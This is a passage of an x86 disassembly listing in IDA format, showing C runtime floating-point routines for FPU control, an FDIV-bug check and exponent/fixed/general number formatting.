mov [ebp+var_4], 0
jmp loc_42958A
; ---------------------------------------------------------------------------
loc_429490: ; CODE XREF: sub_429460+14j
mov eax, dword ptr [ebp+arg_0+6]
and eax, 0FFFFh
and eax, 7FF0h
test eax, eax
jnz loc_429559
mov ecx, dword ptr [ebp+arg_0+4]
shl ecx, 0Ch
test ecx, ecx
jnz short loc_4294B9
cmp dword ptr [ebp+arg_0], 0
jz loc_429559
loc_4294B9: ; CODE XREF: sub_429460+4Dj
mov [ebp+var_4], 0FFFFFC03h
fld [ebp+arg_0]
fcomp ds:dbl_43A188
fnstsw ax
test ah, 1
jz short loc_4294D9
mov [ebp+var_14], 1
jmp short loc_4294E0
; ---------------------------------------------------------------------------
loc_4294D9: ; CODE XREF: sub_429460+6Ej
mov [ebp+var_14], 0
loc_4294E0: ; CODE XREF: sub_429460+77j
mov edx, [ebp+var_14]
mov [ebp+var_10], edx
loc_4294E6: ; CODE XREF: sub_429460+C3j
mov eax, dword ptr [ebp+arg_0+6]
and eax, 0FFFFh
and eax, 10h
test eax, eax
jnz short loc_429525
mov ecx, dword ptr [ebp+arg_0+4]
shl ecx, 1
mov dword ptr [ebp+arg_0+4], ecx
mov edx, dword ptr [ebp+arg_0]
and edx, 80000000h
test edx, edx
jz short loc_429512
mov eax, dword ptr [ebp+arg_0+4]
or al, 1
mov dword ptr [ebp+arg_0+4], eax
loc_429512: ; CODE XREF: sub_429460+A8j
mov ecx, dword ptr [ebp+arg_0]
shl ecx, 1
mov dword ptr [ebp+arg_0], ecx
mov edx, [ebp+var_4]
sub edx, 1
mov [ebp+var_4], edx
jmp short loc_4294E6
; ---------------------------------------------------------------------------
loc_429525: ; CODE XREF: sub_429460+93j
mov ax, word ptr [ebp+arg_0+6]
and ax, 0FFEFh
mov word ptr [ebp+arg_0+6], ax
cmp [ebp+var_10], 0
jz short loc_429542
mov cx, word ptr [ebp+arg_0+6]
or ch, 80h
mov word ptr [ebp+arg_0+6], cx
loc_429542: ; CODE XREF: sub_429460+D5j
push 0
mov edx, dword ptr [ebp+arg_0+4]
push edx
mov eax, dword ptr [ebp+arg_0]
push eax
call sub_4292F0
add esp, 0Ch
fstp [ebp+var_C]
jmp short loc_42958A
; ---------------------------------------------------------------------------
loc_429559: ; CODE XREF: sub_429460+3Fj
; sub_429460+53j
push 0
mov ecx, dword ptr [ebp+arg_0+4]
push ecx
mov edx, dword ptr [ebp+arg_0]
push edx
call sub_4292F0
add esp, 0Ch
fstp [ebp+var_C]
mov eax, dword ptr [ebp+arg_0+6]
and eax, 0FFFFh
and eax, 7FF0h
sar eax, 4
movsx ecx, ax
sub ecx, 3FEh
mov [ebp+var_4], ecx
loc_42958A: ; CODE XREF: sub_429460+2Bj
; sub_429460+F7j
mov edx, [ebp+arg_8]
mov eax, [ebp+var_4]
mov [edx], eax
fld [ebp+var_C]
mov esp, ebp
pop ebp
retn
sub_429460 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4295A0 proc near ; CODE XREF: sub_428900+171p
var_4 = word ptr -4
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
fstsw [ebp+var_4]
movsx eax, [ebp+var_4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4295A0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4295C0 proc near ; CODE XREF: sub_428900+349p
var_4 = word ptr -4
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
fnstsw [ebp+var_4]
fnclex
movsx eax, [ebp+var_4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4295C0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4295E0 proc near ; CODE XREF: sub_41F150+11p
; sub_41F150+67p ...
var_8 = word ptr -8
var_4 = word ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
fstcw [ebp+var_8]
mov eax, [ebp+arg_0]
and eax, [ebp+arg_4]
movsx ecx, [ebp+var_8]
mov edx, [ebp+arg_4]
not edx
and ecx, edx
or eax, ecx
mov [ebp+var_4], ax
fldcw [ebp+var_4]
movsx eax, [ebp+var_8]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4295E0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429620 proc near ; CODE XREF: sub_428DD0+25p
; sub_428DD0+50p ...
var_C = dword ptr -0Ch
var_8 = qword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
and eax, 1
test eax, eax
jz short loc_42963D
fld ds:tbyte_4503E0
fistp [ebp+var_C]
wait
loc_42963D: ; CODE XREF: sub_429620+11j
mov ecx, [ebp+arg_0]
and ecx, 8
test ecx, ecx
jz short loc_429657
fstsw ax
fld ds:tbyte_4503E0
fstp [ebp+var_8]
wait
fstsw ax
loc_429657: ; CODE XREF: sub_429620+25j
mov edx, [ebp+arg_0]
and edx, 10h
test edx, edx
jz short loc_42966B
fld ds:tbyte_4503EC
fstp [ebp+var_8]
wait
loc_42966B: ; CODE XREF: sub_429620+3Fj
mov eax, [ebp+arg_0]
and eax, 4
test eax, eax
jz short loc_42967E
fldz
fld1
fdivrp st(1), st
fstp st
wait
loc_42967E: ; CODE XREF: sub_429620+53j
mov ecx, [ebp+arg_0]
and ecx, 20h
test ecx, ecx
jz short loc_42968E
fldpi
fstp [ebp+var_8]
wait
loc_42968E: ; CODE XREF: sub_429620+66j
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_429620 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4296A0 proc near ; CODE XREF: sub_41F290+15p
; seg000:0042F795p
push ebp
mov ebp, esp
push 30000h
push 10000h
call sub_42F760
add esp, 8
pop ebp
retn
sub_4296A0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4296C0 proc near ; CODE XREF: sub_429720:loc_429759p
var_1C = dword ptr -1Ch
var_18 = qword ptr -18h
var_10 = qword ptr -10h
var_8 = qword ptr -8
push ebp
mov ebp, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov dword ptr [ebp+var_18], 80000000h
mov dword ptr [ebp+var_18+4], 4147FFFFh
mov dword ptr [ebp+var_8], 0C0000000h
mov dword ptr [ebp+var_8+4], 4150017Eh
fld [ebp+var_8]
fdiv [ebp+var_18]
fmul [ebp+var_18]
fsubr [ebp+var_8]
fstp [ebp+var_10]
fld [ebp+var_10]
fcomp ds:dbl_439CE8
fnstsw ax
test ah, 41h
jnz short loc_42970D
mov [ebp+var_1C], 1
jmp short loc_429714
; ---------------------------------------------------------------------------
loc_42970D: ; CODE XREF: sub_4296C0+42j
mov [ebp+var_1C], 0
loc_429714: ; CODE XREF: sub_4296C0+4Bj
mov eax, [ebp+var_1C]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4296C0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429720 proc near ; CODE XREF: sub_41F290+Bp
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 8
push offset aKernel32 ; "KERNEL32"
call near ptr 3D0000h
in al, 89h ; DMA page register 74LS612:
; Channel 6 (address bits 17-23)
inc ebp
cld
cmp [ebp+var_4], 0
jz short loc_429759
push offset aIsprocessorfea ; "IsProcessorFeaturePresent"
mov eax, [ebp+var_4]
push eax
call ds:dword_4F1314
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jz short loc_429759
push 0
call [ebp+var_8]
jmp short loc_42975E
; ---------------------------------------------------------------------------
loc_429759: ; CODE XREF: sub_429720+18j
; sub_429720+30j
call sub_4296C0
loc_42975E: ; CODE XREF: sub_429720+37j
mov esp, ebp
pop ebp
retn
sub_429720 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429770 proc near ; DATA XREF: sub_41F2D0+21o
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
push ecx
call sub_420960
add esp, 4
cmp eax, 65h
jz short loc_4297D0
loc_42978A: ; CODE XREF: sub_429770+5Ej
mov edx, [ebp+arg_0]
add edx, 1
mov [ebp+arg_0], edx
cmp ds:dword_44FD20, 1
jle short loc_4297B2
push 4
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
push ecx
call sub_423D90
add esp, 8
mov [ebp+var_C], eax
jmp short loc_4297CA
; ---------------------------------------------------------------------------
loc_4297B2: ; CODE XREF: sub_429770+2Aj
mov edx, [ebp+arg_0]
movsx eax, byte ptr [edx]
mov ecx, ds:off_44FE2C
xor edx, edx
mov dx, [ecx+eax*2]
and edx, 4
mov [ebp+var_C], edx
loc_4297CA: ; CODE XREF: sub_429770+40j
cmp [ebp+var_C], 0
jnz short loc_42978A
loc_4297D0: ; CODE XREF: sub_429770+18j
mov eax, [ebp+arg_0]
mov cl, [eax]
mov [ebp+var_8], cl
mov edx, [ebp+arg_0]
mov al, ds:byte_44FD24
mov [edx], al
mov ecx, [ebp+arg_0]
add ecx, 1
mov [ebp+arg_0], ecx
loc_4297EB: ; CODE XREF: sub_429770+A2j
mov edx, [ebp+arg_0]
mov al, [edx]
mov [ebp+var_4], al
mov ecx, [ebp+arg_0]
mov dl, [ebp+var_8]
mov [ecx], dl
mov al, [ebp+var_4]
mov [ebp+var_8], al
mov ecx, [ebp+arg_0]
movsx edx, byte ptr [ecx]
mov eax, [ebp+arg_0]
add eax, 1
mov [ebp+arg_0], eax
test edx, edx
jnz short loc_4297EB
mov esp, ebp
pop ebp
retn
sub_429770 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429820 proc near ; DATA XREF: sub_41F2D0+Do
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
loc_429824: ; CODE XREF: sub_429820+28j
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
test ecx, ecx
jz short loc_42984A
mov edx, [ebp+arg_0]
movsx eax, byte ptr [edx]
movsx ecx, ds:byte_44FD24
cmp eax, ecx
jz short loc_42984A
mov edx, [ebp+arg_0]
add edx, 1
mov [ebp+arg_0], edx
jmp short loc_429824
; ---------------------------------------------------------------------------
loc_42984A: ; CODE XREF: sub_429820+Cj
; sub_429820+1Dj
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
mov edx, [ebp+arg_0]
add edx, 1
mov [ebp+arg_0], edx
test ecx, ecx
jz loc_4298F3
loc_429861: ; CODE XREF: sub_429820+6Aj
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
test ecx, ecx
jz short loc_42988C
mov edx, [ebp+arg_0]
movsx eax, byte ptr [edx]
cmp eax, 65h
jz short loc_42988C
mov ecx, [ebp+arg_0]
movsx edx, byte ptr [ecx]
cmp edx, 45h
jz short loc_42988C
mov eax, [ebp+arg_0]
add eax, 1
mov [ebp+arg_0], eax
jmp short loc_429861
; ---------------------------------------------------------------------------
loc_42988C: ; CODE XREF: sub_429820+49j
; sub_429820+54j ...
mov ecx, [ebp+arg_0]
mov [ebp+var_4], ecx
mov edx, [ebp+arg_0]
sub edx, 1
mov [ebp+arg_0], edx
loc_42989B: ; CODE XREF: sub_429820+8Fj
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
cmp ecx, 30h
jnz short loc_4298B1
mov edx, [ebp+arg_0]
sub edx, 1
mov [ebp+arg_0], edx
jmp short loc_42989B
; ---------------------------------------------------------------------------
loc_4298B1: ; CODE XREF: sub_429820+84j
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
movsx edx, ds:byte_44FD24
cmp ecx, edx
jnz short loc_4298CB
mov eax, [ebp+arg_0]
sub eax, 1
mov [ebp+arg_0], eax
loc_4298CB: ; CODE XREF: sub_429820+A0j
; sub_429820+D1j
mov ecx, [ebp+arg_0]
add ecx, 1
mov [ebp+arg_0], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_4]
mov cl, [eax]
mov [edx], cl
mov edx, [ebp+arg_0]
movsx eax, byte ptr [edx]
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
test eax, eax
jz short loc_4298F3
jmp short loc_4298CB
; ---------------------------------------------------------------------------
loc_4298F3: ; CODE XREF: sub_429820+3Bj
; sub_429820+CFj
mov esp, ebp
pop ebp
retn
sub_429820 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429900 proc near ; DATA XREF: sub_41F2D0+2Bo
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
fld qword ptr [eax]
fcomp ds:dbl_43A188
fnstsw ax
test ah, 1
jnz short loc_42991F
mov [ebp+var_4], 1
jmp short loc_429926
; ---------------------------------------------------------------------------
loc_42991F: ; CODE XREF: sub_429900+14j
mov [ebp+var_4], 0
loc_429926: ; CODE XREF: sub_429900+1Dj
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_429900 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429930 proc near ; DATA XREF: sub_41F2D0+17o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
cmp [ebp+arg_0], 0
jz short loc_42995C
mov eax, [ebp+arg_8]
push eax
lea ecx, [ebp+var_8]
push ecx
call sub_430290
add esp, 8
mov edx, [ebp+arg_4]
mov eax, [ebp+var_8]
mov [edx], eax
mov ecx, [ebp+var_4]
mov [edx+4], ecx
jmp short loc_429974
; ---------------------------------------------------------------------------
loc_42995C: ; CODE XREF: sub_429930+Aj
mov edx, [ebp+arg_8]
push edx
lea eax, [ebp+var_C]
push eax
call sub_430310
add esp, 8
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_C]
mov [ecx], edx
loc_429974: ; CODE XREF: sub_429930+2Aj
mov esp, ebp
pop ebp
retn
sub_429930 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429980 proc near ; CODE XREF: sub_429E10+1Fp
var_2C = byte ptr -2Ch
var_14 = byte ptr -14h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 2Ch
lea eax, [ebp+var_14]
mov [ebp+var_4], eax
lea ecx, [ebp+var_2C]
push ecx
lea edx, [ebp+var_14]
push edx
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
push ecx
mov edx, [eax]
push edx
call sub_430450
add esp, 10h
mov eax, [ebp+var_4]
push eax
mov ecx, [ebp+arg_8]
add ecx, 1
push ecx
mov edx, [ebp+var_4]
xor eax, eax
cmp dword ptr [edx], 2Dh
setz al
mov ecx, [ebp+arg_4]
add ecx, eax
xor edx, edx
cmp [ebp+arg_8], 0
setnle dl
add ecx, edx
push ecx
call sub_430350
add esp, 0Ch
push 0
mov eax, [ebp+var_4]
push eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
call sub_429A00
add esp, 14h
mov eax, [ebp+arg_4]
mov esp, ebp
pop ebp
retn
sub_429980 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429A00 proc near ; CODE XREF: sub_429980+67p
; sub_429D20+9Dp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = byte ptr 18h
push ebp
mov ebp, esp
sub esp, 8
movsx eax, [ebp+arg_10]
test eax, eax
jz short loc_429A37
mov ecx, [ebp+arg_C]
xor edx, edx
cmp dword ptr [ecx], 2Dh
setz dl
mov eax, [ebp+arg_0]
add eax, edx
mov [ebp+var_4], eax
xor ecx, ecx
cmp [ebp+arg_4], 0
setnle cl
push ecx
mov edx, [ebp+var_4]
push edx
call sub_429E70
add esp, 8
loc_429A37: ; CODE XREF: sub_429A00+Cj
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
mov ecx, [ebp+arg_C]
cmp dword ptr [ecx], 2Dh
jnz short loc_429A54
mov edx, [ebp+var_4]
mov byte ptr [edx], 2Dh
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_429A54: ; CODE XREF: sub_429A00+43j
cmp [ebp+arg_4], 0
jle short loc_429A78
mov ecx, [ebp+var_4]
mov edx, [ebp+var_4]
mov al, [edx+1]
mov [ecx], al
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
mov edx, [ebp+var_4]
mov al, ds:byte_44FD24
mov [edx], al
loc_429A78: ; CODE XREF: sub_429A00+58j
push offset aE000 ; "e+000"
mov ecx, [ebp+var_4]
add ecx, [ebp+arg_4]
movsx edx, [ebp+arg_10]
neg edx
sbb edx, edx
inc edx
add ecx, edx
push ecx
call sub_41E550
add esp, 8
mov [ebp+var_4], eax
cmp [ebp+arg_8], 0
jz short loc_429AA6
mov eax, [ebp+var_4]
mov byte ptr [eax], 45h
loc_429AA6: ; CODE XREF: sub_429A00+9Ej
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
mov edx, [ebp+arg_C]
mov eax, [edx+0Ch]
movsx ecx, byte ptr [eax]
cmp ecx, 30h
jz loc_429B5F
mov edx, [ebp+arg_C]
mov eax, [edx+4]
sub eax, 1
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jge short loc_429AE1
mov ecx, [ebp+var_8]
neg ecx
mov [ebp+var_8], ecx
mov edx, [ebp+var_4]
mov byte ptr [edx], 2Dh
loc_429AE1: ; CODE XREF: sub_429A00+D1j
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
cmp [ebp+var_8], 64h
jl short loc_429B15
mov eax, [ebp+var_8]
cdq
mov ecx, 64h
idiv ecx
mov edx, [ebp+var_4]
mov cl, [edx]
add cl, al
mov edx, [ebp+var_4]
mov [edx], cl
mov eax, [ebp+var_8]
cdq
mov ecx, 64h
idiv ecx
mov [ebp+var_8], edx
loc_429B15: ; CODE XREF: sub_429A00+EEj
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
cmp [ebp+var_8], 0Ah
jl short loc_429B49
mov eax, [ebp+var_8]
cdq
mov ecx, 0Ah
idiv ecx
mov edx, [ebp+var_4]
mov cl, [edx]
add cl, al
mov edx, [ebp+var_4]
mov [edx], cl
mov eax, [ebp+var_8]
cdq
mov ecx, 0Ah
idiv ecx
mov [ebp+var_8], edx
loc_429B49: ; CODE XREF: sub_429A00+122j
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
mov eax, [ebp+var_4]
mov cl, [eax]
add cl, byte ptr [ebp+var_8]
mov edx, [ebp+var_4]
mov [edx], cl
loc_429B5F: ; CODE XREF: sub_429A00+BBj
mov eax, [ebp+arg_0]
mov esp, ebp
pop ebp
retn
sub_429A00 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429B70 proc near ; CODE XREF: sub_429E10+3Bp
var_2C = byte ptr -2Ch
var_14 = byte ptr -14h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 2Ch
lea eax, [ebp+var_14]
mov [ebp+var_4], eax
lea ecx, [ebp+var_2C]
push ecx
lea edx, [ebp+var_14]
push edx
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
push ecx
mov edx, [eax]
push edx
call sub_430450
add esp, 10h
mov eax, [ebp+var_4]
push eax
mov ecx, [ebp+var_4]
mov edx, [ebp+arg_8]
add edx, [ecx+4]
push edx
mov eax, [ebp+var_4]
xor ecx, ecx
cmp dword ptr [eax], 2Dh
setz cl
mov edx, [ebp+arg_4]
add edx, ecx
push edx
call sub_430350
add esp, 0Ch
push 0
mov eax, [ebp+var_4]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
call sub_429BE0
add esp, 10h
mov eax, [ebp+arg_4]
mov esp, ebp
pop ebp
retn
sub_429B70 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429BE0 proc near ; CODE XREF: sub_429B70+5Bp
; sub_429D20+D9p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = byte ptr 14h
push ebp
mov ebp, esp
sub esp, 10h
mov eax, [ebp+arg_8]
mov ecx, [eax+4]
sub ecx, 1
mov [ebp+var_8], ecx
movsx edx, [ebp+arg_C]
test edx, edx
jz short loc_429C33
mov eax, [ebp+arg_8]
xor ecx, ecx
cmp dword ptr [eax], 2Dh
setz cl
mov edx, [ebp+arg_0]
add edx, ecx
mov [ebp+var_4], edx
mov eax, [ebp+var_8]
cmp eax, [ebp+arg_4]
jnz short loc_429C33
mov ecx, [ebp+var_4]
add ecx, [ebp+var_8]
mov [ebp+var_C], ecx
mov edx, [ebp+var_C]
mov byte ptr [edx], 30h
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
mov ecx, [ebp+var_C]
mov byte ptr [ecx], 0
loc_429C33: ; CODE XREF: sub_429BE0+18j
; sub_429BE0+33j
mov edx, [ebp+arg_0]
mov [ebp+var_4], edx
mov eax, [ebp+arg_8]
cmp dword ptr [eax], 2Dh
jnz short loc_429C50
mov ecx, [ebp+var_4]
mov byte ptr [ecx], 2Dh
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
loc_429C50: ; CODE XREF: sub_429BE0+5Fj
mov eax, [ebp+arg_8]
cmp dword ptr [eax+4], 0
jg short loc_429C78
push 1
mov ecx, [ebp+var_4]
push ecx
call sub_429E70
add esp, 8
mov edx, [ebp+var_4]
mov byte ptr [edx], 30h
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
jmp short loc_429C84
; ---------------------------------------------------------------------------
loc_429C78: ; CODE XREF: sub_429BE0+77j
mov ecx, [ebp+arg_8]
mov edx, [ebp+var_4]
add edx, [ecx+4]
mov [ebp+var_4], edx
loc_429C84: ; CODE XREF: sub_429BE0+96j
cmp [ebp+arg_4], 0
jle loc_429D16
push 1
mov eax, [ebp+var_4]
push eax
call sub_429E70
add esp, 8
mov ecx, [ebp+var_4]
mov dl, ds:byte_44FD24
mov [ecx], dl
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
mov ecx, [ebp+arg_8]
cmp dword ptr [ecx+4], 0
jge short loc_429D16
movsx edx, [ebp+arg_C]
test edx, edx
jz short loc_429CCE
mov eax, [ebp+arg_8]
mov ecx, [eax+4]
neg ecx
mov [ebp+arg_4], ecx
jmp short loc_429CF4
; ---------------------------------------------------------------------------
loc_429CCE: ; CODE XREF: sub_429BE0+DFj
mov edx, [ebp+arg_8]
mov eax, [edx+4]
neg eax
cmp [ebp+arg_4], eax
jge short loc_429CE3
mov ecx, [ebp+arg_4]
mov [ebp+var_10], ecx
jmp short loc_429CEE
; ---------------------------------------------------------------------------
loc_429CE3: ; CODE XREF: sub_429BE0+F9j
mov edx, [ebp+arg_8]
mov eax, [edx+4]
neg eax
mov [ebp+var_10], eax
loc_429CEE: ; CODE XREF: sub_429BE0+101j
mov ecx, [ebp+var_10]
mov [ebp+arg_4], ecx
loc_429CF4: ; CODE XREF: sub_429BE0+ECj
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+var_4]
push eax
call sub_429E70
add esp, 8
mov ecx, [ebp+arg_4]
push ecx
push 30h
mov edx, [ebp+var_4]
push edx
call sub_41D100
add esp, 0Ch
loc_429D16: ; CODE XREF: sub_429BE0+A8j
; sub_429BE0+D7j
mov eax, [ebp+arg_0]
mov esp, ebp
pop ebp
retn
sub_429BE0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429D20 proc near ; CODE XREF: sub_429E10+55p
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = byte ptr -30h
var_2C = byte ptr -2Ch
var_14 = byte ptr -14h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 38h
mov [ebp+var_30], 0
lea eax, [ebp+var_14]
mov [ebp+var_38], eax
lea ecx, [ebp+var_2C]
push ecx
lea edx, [ebp+var_14]
push edx
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
push ecx
mov edx, [eax]
push edx
call sub_430450
add esp, 10h
mov eax, [ebp+var_38]
mov ecx, [eax+4]
sub ecx, 1
mov [ebp+var_34], ecx
mov edx, [ebp+var_38]
xor eax, eax
cmp dword ptr [edx], 2Dh
setz al
mov ecx, [ebp+arg_4]
add ecx, eax
mov [ebp+var_4], ecx
mov edx, [ebp+var_38]
push edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call sub_430350
add esp, 0Ch
mov edx, [ebp+var_38]
mov eax, [edx+4]
sub eax, 1
xor ecx, ecx
cmp [ebp+var_34], eax
setl cl
mov [ebp+var_30], cl
mov edx, [ebp+var_38]
mov eax, [edx+4]
sub eax, 1
mov [ebp+var_34], eax
cmp [ebp+var_34], 0FFFFFFFCh
jl short loc_429DAB
mov ecx, [ebp+var_34]
cmp ecx, [ebp+arg_8]
jl short loc_429DC7
loc_429DAB: ; CODE XREF: sub_429D20+81j
push 1
mov edx, [ebp+var_38]
push edx
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
call sub_429A00
add esp, 14h
jmp short loc_429E01
; ---------------------------------------------------------------------------
loc_429DC7: ; CODE XREF: sub_429D20+89j
movsx eax, [ebp+var_30]
test eax, eax
jz short loc_429DEB
loc_429DCF: ; CODE XREF: sub_429D20+C2j
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
test edx, edx
jz short loc_429DE4
jmp short loc_429DCF
; ---------------------------------------------------------------------------
loc_429DE4: ; CODE XREF: sub_429D20+C0j
mov ecx, [ebp+var_4]
mov byte ptr [ecx-2], 0
loc_429DEB: ; CODE XREF: sub_429D20+ADj
push 1
mov edx, [ebp+var_38]
push edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
call sub_429BE0
add esp, 10h
loc_429E01: ; CODE XREF: sub_429D20+A5j
mov esp, ebp
pop ebp
retn
sub_429D20 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429E10 proc near ; DATA XREF: sub_41F2D0+3o
; sub_41F2D0+35o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
cmp [ebp+arg_8], 65h
jz short loc_429E1F
cmp [ebp+arg_8], 45h
jnz short loc_429E39
loc_429E1F: ; CODE XREF: sub_429E10+7j
mov eax, [ebp+arg_10]
push eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_429980
add esp, 10h
jmp short loc_429E6D
; ---------------------------------------------------------------------------
loc_429E39: ; CODE XREF: sub_429E10+Dj
cmp [ebp+arg_8], 66h
jnz short loc_429E55
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_429B70
add esp, 0Ch
jmp short loc_429E6D
; ---------------------------------------------------------------------------
loc_429E55: ; CODE XREF: sub_429E10+2Dj
mov ecx, [ebp+arg_10]
push ecx
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_429D20
add esp, 10h
loc_429E6D: ; CODE XREF: sub_429E10+27j
; sub_429E10+43j
pop ebp
retn
sub_429E10 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429E70 proc near ; CODE XREF: sub_429A00+2Fp
; sub_429BE0+7Fp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
cmp [ebp+arg_4], 0
jz short loc_429E9C
mov eax, [ebp+arg_0]
push eax
call sub_41AC70
add esp, 4
add eax, 1
push eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+arg_0]
add edx, [ebp+arg_4]
